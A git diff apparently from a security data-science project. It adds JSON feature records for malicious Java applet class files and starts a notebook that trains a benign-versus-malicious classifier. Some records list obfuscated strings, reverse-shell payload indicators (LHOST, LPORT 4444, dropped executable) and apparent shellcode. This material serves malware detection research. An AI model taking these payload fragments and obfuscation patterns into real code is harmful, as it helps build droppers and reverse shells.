+++ b/java_classification/data/malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "TAZBvtO.java", "class_name": "TAZBvtO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "GzwfAg", "<clinit>"], "minor_version": 0, "const_pool_count": 159}}, "_id": "7dd9a888-9a1b-478c-a3d1-cd59be0fb1be", "verbose": {"java": {"constant strings": ["UCRuCESTOR_kGHGACT", "LGPG\\x08GQR\\x08OKGAC\\x08bGRGdS@@CTd_RC", "UCRcJCK", "OHROHR", "LGPG\\x08GQR\\x08OKGAC\\x08bGRGdS@@CT", "r\\x7fvcyd\\x7frc", "LGPG\\x08GQR\\x08OKGAC\\x08kSJROvO^CJvGEMCBuGKVJCkIBCJ", "LGPG\\x08GQR\\x08OKGAC\\x08tGURCT", "ETCGRCqTORGDJCtGURCT", "LGPG\\x08GQR\\x08OKGAC\\x08uGKVJCkIBCJLGPG\\x08GQR\\x08OKGAC\\x08bGRGdS@@CTLGPG\\x08GQR\\x08vIOHR", "LGPG\\x08GQR\\x08OKGAC\\x08oHBC^eIJITkIBCJ", "LGPG\\x08GQR\\x08gJVNGeIKVIUORC", "uTE", "ETCGRCeIHRC^R", "LGPG\\x08GQR\\x08OKGAC\\x08eIJITkIBCJLGPG\\x08GQR\\x08OKGAC\\x08eIJITkIBCJLGPG\\x08GQR\\x08tCHBCTOHAnOHRU", "IU\\x08HGKC", "", "kGE", "IU\\x08GTEN", "\\x10\\x12"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c6f6edc6705f0f3dbb9d693f5cd15f8dc6f5afef", "file_name": "java_malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08", "_id": "7dd9a888-9a1b-478c-a3d1-cd59be0fb1be", "score": 0, "entropy": 6.028854959484067, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4097, "ssdeep": "96:T/cV+FlZMyMgrqFDdFpgPujIwx9+dTnA6qkRsjg/gtkGPz:T/eclaCrqF5FpAujFEdTAlWsjg/gtBz", "sha256": "f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08", "md5": "230850e7feef68bb35a24947d5267a35", "parent_sha256": "f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e.results b/java_classification/data/malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e.results
new file mode 100755
index 0000000..41ff2d8
--- /dev/null
+++ b/java_classification/data/malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "oQZXV.java", "class_name": "oQZXV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "bXiWgJbU", "<clinit>"], "minor_version": 0, "const_pool_count": 159}}, "_id": "a8482009-fe76-4703-a482-ac374de9e392", "verbose": {"java": {"constant strings": ["v`qV`fpwlq|Hdkdb`w", "odsd+drq+lhdb`+AdqdGpcc`wG|q`", "v`q@i`h", "lkqlkq", "odsd+drq+lhdb`+AdqdGpcc`w", "Q\\\\U@ZG\\\\Q@", "odsd+drq+lhdb`+HpiqlUl}`iUdfn`aVdhui`Hja`i", "odsd+drq+lhdb`+Wdvq`w", "fw`dq`Rwlqdgi`Wdvq`w", "odsd+drq+lhdb`+Vdhui`Hja`iodsd+drq+lhdb`+AdqdGpcc`wodsd+drq+Ujlkq", "odsd+drq+lhdb`+Lka`}FjijwHja`i", "odsd+drq+DiumdFjhujvlq`", "Vwf", "fw`dq`Fjkq`}q", "odsd+drq+lhdb`+FjijwHja`iodsd+drq+lhdb`+FjijwHja`iodsd+drq+W`ka`wlkbMlkqv", "jv+kdh`", "", "Hdf", "jv+dwfm", "31"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "49d39ed4d518e1405ea2b37eba33098cdc238020", "file_name": "java_malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e", "_id": "a8482009-fe76-4703-a482-ac374de9e392", "score": 0, "entropy": 6.001052104741967, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4164, "ssdeep": "96:T/cPFlgJeJEKnG0HDGNPe4nd99Y81M4GfJkY0jWn8/:T/YlM2nG0HuBnZi4GGWnI", "sha256": "faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e", "md5": "8291d8caa7fb768ce3d78572c58db6ad", "parent_sha256": "faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0.results b/java_classification/data/malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0.results
new file mode 100755
index 0000000..85d45c5
--- /dev/null
+++ b/java_classification/data/malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "eAkznkbTDp/NaMiljK", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "be0be817-c8bf-408f-8f0b-5053dfe7251c", "verbose": {"java": {"constant strings": ["eAkznkbTDp.NaMiljK", ".class", "/eAkznkbTDp.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "eAkznkbTDp.dat", "URL", "", "https:", "eAkznkbTDp/NaMiljKTrustManager.class", "NaMiljKTrustManager.class", "AESPassword", "eAkznkbTDp/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "eAkznkbTDp.NaMiljKTrustManager", "useFor", "java.net.URLConnection", "eAkznkbTDp.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "NaMiljK -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1b8eb371adfcfbc43612080fb6a0a4999598c0c7", "file_name": "java_malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0", "_id": "be0be817-c8bf-408f-8f0b-5053dfe7251c", "score": 0, "entropy": 6.146103762445165, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMiDUBkFI+WU3ThmAzlQxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvR:gmO1t2OIStmnyNvpvUrKYvCkgHzbDrDF", "sha256": "fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0", "md5": "5d701c76ce80650e2d775e319963ca15", "parent_sha256": "fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7.results b/java_classification/data/malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7.results
new file mode 100755
index 0000000..04da033
--- /dev/null
+++ b/java_classification/data/malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 48, "class_name": "myf/y/LoaderX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "LoaderX.java", "method_names": ["<init>", "bynzfuimcuktrnmbka", "zzzhaspsctmabcfxfgwqk", "caqjtsxrzkvherknekhaidnbl", "writeObject", "alwxaybdfkiuidfxpyqd", "mwzowsidfksmdpnaqpotjbddlf", "readObject", "gvfikteqmrkizradvhwnosbfbljrwr", "vsgsmkoujtkzkpiawnldrk", "bootstrapPayload", "<clinit>"], "minor_version": 0, "const_pool_count": 243}}, "_id": "537f0492-673a-4822-aec6-6d30c29fda05", "verbose": {"java": {"constant strings": ["qauosgffggtwkwidxlmcavcjki", "zhvitdtjjfonjfqgwiw", "tmmnkvlqxnfipyy", "rnhjuihifc", "jnhozbofsxnnesqalsqpdqx", "afunpkhibulewkmwzw", "moshvnmtlujflog", "sgpxatbzlngtpgnrofsry", "/myf/y/gzdldlphprpkjcox.class", "jptdvxtahxqcjxxkjuloywtqjav", "infgqwjrrthpzyjn", "gblotedyyavkhrsuutnlvilfmzgld", "xqgmgjhrxjgtxfta", "mwpjzsoojziwuxrfvezbnadlndk", "oxtqeljhyuf", "gbvrglyjcsjwoe", "mkgyhbikbdxwuetqxhapjbl", "file:///vizobagcdcqinpidde", "wsxyijyxhfckiwsyoqplpe", "ojhmsqzwkkcltylghzjresstzvv", "zjkvtoewidape", "wlhdjestvkpubljlgf", "flcpgmodlsngiheu", "enatoqiptoavuuwtbm", "bdxgmygyzirmzthcgdrneazz", "aohlcqnntdafevrdcdzkrwyosjzs", "vhlxyxuiczidygjunxtgmrxzwtoy", "zfsehfcuaqf", "unxoqaqmeyajdqmftxarsecuggqgb", "dvnussdmawfmw", "zcgnzpxvtxfolfz", "fpddorlgczfxhpra", "myf.y.gzdldlphprpkjcox", "datadeudsoloalripyrjhsdzrtharsw", "aoqizmindwvmqreuheuoffqjfd", "bifekwyvwsricfvriflmiazw", "kbyiktuysecfyadoe", "wmnpqmchrxznzkxrzacnrjh", "fcxlkekjkdmgbys", "ehslkbqwgxeqchjzsewpmatt", "ccuscgyhrqqovvvdhdybgmbzldnzc", "lpettsfxuwjeqelp", "opwiluhcgqoa", "wogxefjnwrpdfs", "scdzeckyeylgno", "dcerdriudk", "fdhqheeygoxwkr", "ewmgjccljvyznofaqflgcg", "eptlhhqpndcvqlogvaamvgypvzi", "oslinsebziodejocterczpvroz", "hiyvioqscypinanadyrrwgsoebx", "fvyeabpytxfjixn", "bdlkmoffgrlqxe", "ncrgbqhjwoyzxwhsl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "693ab6714cd41863971cc26cc3a3b8c2ed2d3497", "file_name": "java_malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7", "_id": "537f0492-673a-4822-aec6-6d30c29fda05", "score": 0, "entropy": 5.862520871454147, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4624, "ssdeep": "96:tAU5hOx4wFl6bEAWVO0gP02aT3XKB06590Q5iTwIkYgbfUHPOj:tOlleAO0qpaT3ad59pewIfgbfUHk", "sha256": "fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7", "md5": "a0f09a7cceb967018791fd58dfe6d594", "parent_sha256": "fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa.results b/java_classification/data/malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa.results
new file mode 100755
index 0000000..2608cd2
--- /dev/null
+++ b/java_classification/data/malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "FyrwMNq.java", "class_name": "qYgzrtb/FyrwMNq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "uVxkDGvzk", "viVqBjie", "cKsviyLv", "yfGdYxy"], "minor_version": 0, "const_pool_count": 197}}, "_id": "561e551f-437e-435f-9944-8d198d9ef0ef", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9ed75d2ae57d4fb27d3b03b2a3742e535cab2033", "file_name": "java_malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa", "_id": "561e551f-437e-435f-9944-8d198d9ef0ef", "score": 0, "entropy": 5.358606941101659, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3182, "ssdeep": "48:z4b35h6y5l2yFlwBV7F8M2Cj9iJp0fY8/0rqgeUcr4mkGw+k+4Hc/02geUMb0RGM:kzrtBFlkL8M2Cj9e0UcCH0UPEcUElSq", "sha256": "fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa", "md5": "f715b76ebfb755175635e8373ebaf123", "parent_sha256": "fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960.results b/java_classification/data/malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960.results
new file mode 100755
index 0000000..92a61d4
--- /dev/null
+++ b/java_classification/data/malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Pimm.java", "class_name": "Pimm", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "Vdes", "GNJ"], "minor_version": 0, "const_pool_count": 124}}, "_id": "410eff6b-a524-46bb-b0ed-574049f9fa2b", "verbose": {"java": {"constant strings": ["ra", "ndom", "java.iWo.FileWOWutputStrWeam"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2faae7619a31b046e5ab1481e88ced77011c0f85", "file_name": "java_malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960", "_id": "410eff6b-a524-46bb-b0ed-574049f9fa2b", "score": 0, "entropy": 5.485983083534976, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2030, "ssdeep": "48:7pDKVKyFlG5cnmmeLyDK0rrSGX2sHHgkYsT+s1B:eFlGwf5JhnT+AB", "sha256": "fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960", "md5": "2067ecf26a2e24de7d190eddb0870304", "parent_sha256": "fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56.results b/java_classification/data/malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56.results
new file mode 100755
index 0000000..bb13120
--- /dev/null
+++ b/java_classification/data/malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 116}}, "_id": "2fc32a78-8ae6-4a85-ac6d-60104bd4f335", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pl,Pl,PN,pJ,0N,pN,pL,Pn,pz,0K,Xg,pG,pu,P3,0J,KW,px,ik,LE,Pw,p5,PQ,O3,TO,Qp,0e,Pu,PW,pr,Xd,LL,Ka,PT,LL,Kp,pu,Ll,mL,KS,XU,XZ,Kw,yl,Ka,Pf,TL,MC,pq,ln,k1,x7,Ln,kj,W0,j7,tf,9K,Xn,ow,p3,05,Pz,Bk,Ip,hR,OP,nE,Pu,Pq,xp,u0,rB,Lr,Mc,dY,o4,Vn,km,8j,Hb,Y3,0S,05,PL,Kz,wq,Wo,pu,oW,pS,Eh,za,WQ,Gp,Gk,07,O7,pr,Uk,JN,k8,oS,od,so,9k,1x,lC,4U,Qg,pS,0L,KK,lp,QP,R0,S3,XG,tf,ag,pu,PK,O0,Vt,LQ,JP,Yb,qQ,BN,kt,Bb,sC,so,p5,kE,PP,uh,zm,QQ,kK,Ld,nR,ET,8c,Ua,eU,SL,Ch,kw,xO,yc,3y,Wp,Ct,DT,nQ,u0,xC,Ux,Fs,s5,XU,Pa,KL,Jy,QT,Dd,pl,HP,Eu,P4,so,0V,0R,pQ,CV,7P,Pk,OB,vV,pk,3Y,hu,Pd,5T,Fs,ZU,QS,cI,os,ff,d1,JB,yn,c9,RS,4g,1O,pv,Zg,pT,5m,d9,oR,vT,Hp,QR,vn,kB,Uu,ll,KD,4v,Nb,XV,ck,Es,fL,Kq,fu,pc,3y,eP,3Z,iQ,Yq,QL,ms,3k,uV,Sk,kT,OO,Nv,p6,Zj,vP,te,XJ,ax,KF,mG,si,JG,0Z,Kx,qg,K5,Or,U9,wc,nN,kQ,Na,45,SK,mB,Fl,K6,lr,kN,kS,nu,LE,S9,ML,Kw,tn,kS,3X,El,ka,NR,yo,3j,Hk,OK,Nk,OI,oL,NP,ND,NZ,LN,x9,nL,JV,nQ,nk,hy,rC,C5,ck,zn,jc,k6,VW,jf,O0,pa,Zg,2a,dR,Ls,0q,x0,tP,tt,0u,jT,ov,Os,QR,F2,Us,TR,O0,mp,us,D2,O4,nQ,y2,N2,Fp,ot,op,cp,g2,Id,m1,rQ,yb,NF,OR,Pe,82,Pf,OP,zd,p4,pV,X4,q0,0p,6u,bT,pf,QD,s4,qv,Xq,bp,0v,T4,pV,Yp,Jt,pq,vt,pV,Pt,pu,fT,pP,1p,Rr,FB,FV,W1,vU,bf,Tu,5v,RS,hv,YU,dQ,qR,FP,bq,rt,qp,c2,ys,Tq,vB,DF,Sv,Qp,0R,Cp,dS,jt,pT,qP,0f,Pr,FD,pt,wf,PG,p7,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "u", "abs", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "adce8e2eb6bc411cd694d222613a0651a95cbbce", "file_name": "java_malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56", "_id": "2fc32a78-8ae6-4a85-ac6d-60104bd4f335", "score": 0, "entropy": 6.108753974854461, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3538, "ssdeep": "96:TwFlbBZ4c01YVSOVkBe58rSCjtrbF8y4cM:mlP4FVOVkBe5cXpDnM", "sha256": "fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56", "md5": "1a3543eefd89c02dbe4e3877c2f5a769", "parent_sha256": "fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22.results b/java_classification/data/malicious/fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22.results
new file mode 100755
index 0000000..6cf44ef
--- /dev/null
+++ b/java_classification/data/malicious/fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "OCAywsKPk.java", "class_name": "OCAywsKPk", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "tIbuKQmDH"], "minor_version": 0, "const_pool_count": 92}}, "_id": "dd9c3f9c-3ddb-475c-8718-9aa9b54dce81", "verbose": {"java": {"constant strings": ["/$3$k6 &07,1<k\\x15 7(,66,*+6", "/$3$k6 &07,1<k\\x04))\\x15 7(,66,*+", "$!!", "/$3$k6 &07,1<k\\x15 7(,66,*+", "/$3$k+ 1k\\x10\\x17\\t", "#,) \\x7fjjj", "/$3$k6 &07,1<k& 71k\\x06 71,#,&$1 ", "/$3$k6 &07,1<k\\x06*! \\x16*07& ", "/$3$k6 &07,1<k\\x15 7(,66,*+\\x06*)) &1,*+", "/$3$k6 &07,1<k\\x157*1 &1,*+\\x01*($,+", "/$3$k6 &07,1<k\\x04&& 66\\x06*+17*)\\x06*+1 =1"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "71872d544368548b0f3641b844f9f19b15a7fdaa", "file_name": "java_malicious/fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22", "_id": "dd9c3f9c-3ddb-475c-8718-9aa9b54dce81", "score": 0, "entropy": 3.101881689615526, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 16907, "ssdeep": "96:JKwZmGod3V1Mt/tIFRP0bVj35zuuGSGN3lMoMRrZXtPvyFM7yy1iyYUD+bxY+b5U:JKwsdymFRP0FsDxXqo7Y", "sha256": "fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22", "md5": "67a299ad23b1e730fa25dd97784dc9b8", "parent_sha256": "fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716.results b/java_classification/data/malicious/fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716.results
new file mode 100755
index 0000000..5e4e55f
--- /dev/null
+++ b/java_classification/data/malicious/fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "qANHPnQvGW/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "dc05c79f-fab7-4f2b-bdd8-0d2dc1e85d31", "verbose": {"java": {"constant strings": ["qANHPnQvGW.Payload", ".class", "/qANHPnQvGW.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "qANHPnQvGW.dat", "URL", "", "https:", "qANHPnQvGW/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "qANHPnQvGW/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "qANHPnQvGW.PayloadTrustManager", "useFor", "java.net.URLConnection", "qANHPnQvGW.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javawMyOvLu.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cd8cd0b8cea80b3a59abf1c752d8a9ad0c9e628b", "file_name": "java_malicious/fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716", "_id": "dc05c79f-fab7-4f2b-bdd8-0d2dc1e85d31", "score": 0, "entropy": 6.149112811490959, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMvDUBP+WvdJThm4dxlIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1thP/tmsjNvpvUrKYvCkgHzbDrDF", "sha256": "fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716", "md5": "e5a7caa8ea23a799085cdd04a1787a1c", "parent_sha256": "fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a.results b/java_classification/data/malicious/ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a.results
new file mode 100755
index 0000000..62351bf
--- /dev/null
+++ b/java_classification/data/malicious/ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a.results
@@ -0,0 +1 @@
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diff --git a/java_classification/java_classification.ipynb b/java_classification/java_classification.ipynb
new file mode 100755
index 0000000..99b696a
--- /dev/null
+++ b/java_classification/java_classification.ipynb
@@ -0,0 +1,3531 @@
+{
+ "metadata": {
+  "name": "",
+  "signature": "sha256:b0eb9b534082cfefbc26df49a4e010771e27afb7ad25a9e4b43276f6c5ea724e"
+ },
+ "nbformat": 3,
+ "nbformat_minor": 0,
+ "worksheets": [
+  {
+   "cells": [
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "<div style=\"float: right; padding: 20px 0px 0px 20px;\"><img src=\"images/coffee-icon.png\" width=\"250px\"></div>\n",
+      "# Java Class File Analysis\n",
+      "<font size=4>In this notebook we're going to explore, understand, and classify java class files as being 'benign' or 'malicious'.  We will explore the data, apply machine learning algorithms to the data, add new features, do more machine learning.  Then we will test our classifier on a large amount of files to measure it's effectiveness.\n",
+      "</font>\n",
+      "### References\n",
+      "<font size=4>\n",
+      "<ul>\n",
+      "    <li>http://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html</li>\n",
+      "</ul>\n",
+      "</font>\n",
+      "### Python Modules Used:\n",
+      "<font size=4>\n",
+      "<ul>\n",
+      "<li>Pandas: Python Data Analysis Library (http://pandas.pydata.org)\n",
+      "<li>Scikit Learn (http://scikit-learn.org) Scikit-learn: Machine Learning in Python, Pedregosa et al., JMLR 12, pp. 2825-2830, 2011.\n",
+      "<li>Matplotlib: Python 2D plotting library (http://matplotlib.org)\n",
+      "</ul>\n",
+      "</font>\n",
+      "### IPython Notebook for this talk: http://clicksecurity.github.io/data_hacking\n",
+      "<br>"
+     ]
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "### Imports and plot defaults"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import pandas as pd\n",
+      "print 'pandas version is', pd.__version__\n",
+      "import numpy as np\n",
+      "print 'numpy version is', np.__version__\n",
+      "import sklearn\n",
+      "print 'scikit-learn version is', sklearn.__version__\n",
+      "import matplotlib\n",
+      "print 'matplotlib version is', matplotlib.__version__\n",
+      "import matplotlib.pyplot as plt"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "pandas version is 0.13.0\n",
+        "numpy version is 1.7.1\n",
+        "scikit-learn version is 0.14.1\n",
+        "matplotlib version is 1.4.1\n"
+       ]
+      }
+     ],
+     "prompt_number": 117
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "### Plotting defaults and helper functions"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "%matplotlib inline\n",
+      "plt.rcParams['font.size'] = 18.0\n",
+      "plt.rcParams['figure.figsize'] = 16.0, 5.0"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 118
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "def plot_cm(cm, labels):\n",
+      "    # Compute percentanges\n",
+      "    percent = (cm*100.0)/np.array(np.matrix(cm.sum(axis=1)).T)\n",
+      "    print 'Confusion Matrix Stats'\n",
+      "    for i, label_i in enumerate(labels):\n",
+      "        for j, label_j in enumerate(labels):\n",
+      "            print \"%s/%s: %.2f%% (%d/%d)\" % (label_i, label_j, (percent[i][j]), cm[i][j], cm[i].sum())\n",
+      "\n",
+      "    # Show confusion matrix\n",
+      "    # Thanks to kermit666 from stackoverflow\n",
+      "    fig = plt.figure()\n",
+      "    ax = fig.add_subplot(111)\n",
+      "    ax.grid(b=False)\n",
+      "    cax = ax.matshow(percent, cmap='coolwarm',vmin=0,vmax=100)\n",
+      "    plt.title('')\n",
+      "    fig.colorbar(cax)\n",
+      "    ax.set_xticklabels([''] + labels)\n",
+      "    ax.set_yticklabels([''] + labels)\n",
+      "    plt.xlabel('Predicted')\n",
+      "    plt.ylabel('True')\n",
+      "    plt.show()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 119
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "def extract_character_info(string):\n",
+      "    lowercase_runs = []\n",
+      "    uppercase_runs = []\n",
+      "    digit_runs = []\n",
+      "    lower = map(str.islower, str(string))\n",
+      "    upper = map(str.isupper, str(string))\n",
+      "    digits = map(str.isdigit, str(string))\n",
+      "    \n",
+      "    current_length = 0\n",
+      "    current = False\n",
+      "    for l in lower:\n",
+      "        if l:\n",
+      "            current_length += 1\n",
+      "            current = True\n",
+      "        else:\n",
+      "            if current:\n",
+      "                lowercase_runs.append(current_length)\n",
+      "                current_length = 0\n",
+      "            current = False\n",
+      "    if current:\n",
+      "        lowercase_runs.append(current_length)\n",
+      "\n",
+      "    current_length = 0\n",
+      "    current = False\n",
+      "    for u in upper:\n",
+      "        if u:\n",
+      "            current_length += 1\n",
+      "            current = True\n",
+      "        else:\n",
+      "            if current:\n",
+      "                uppercase_runs.append(current_length)\n",
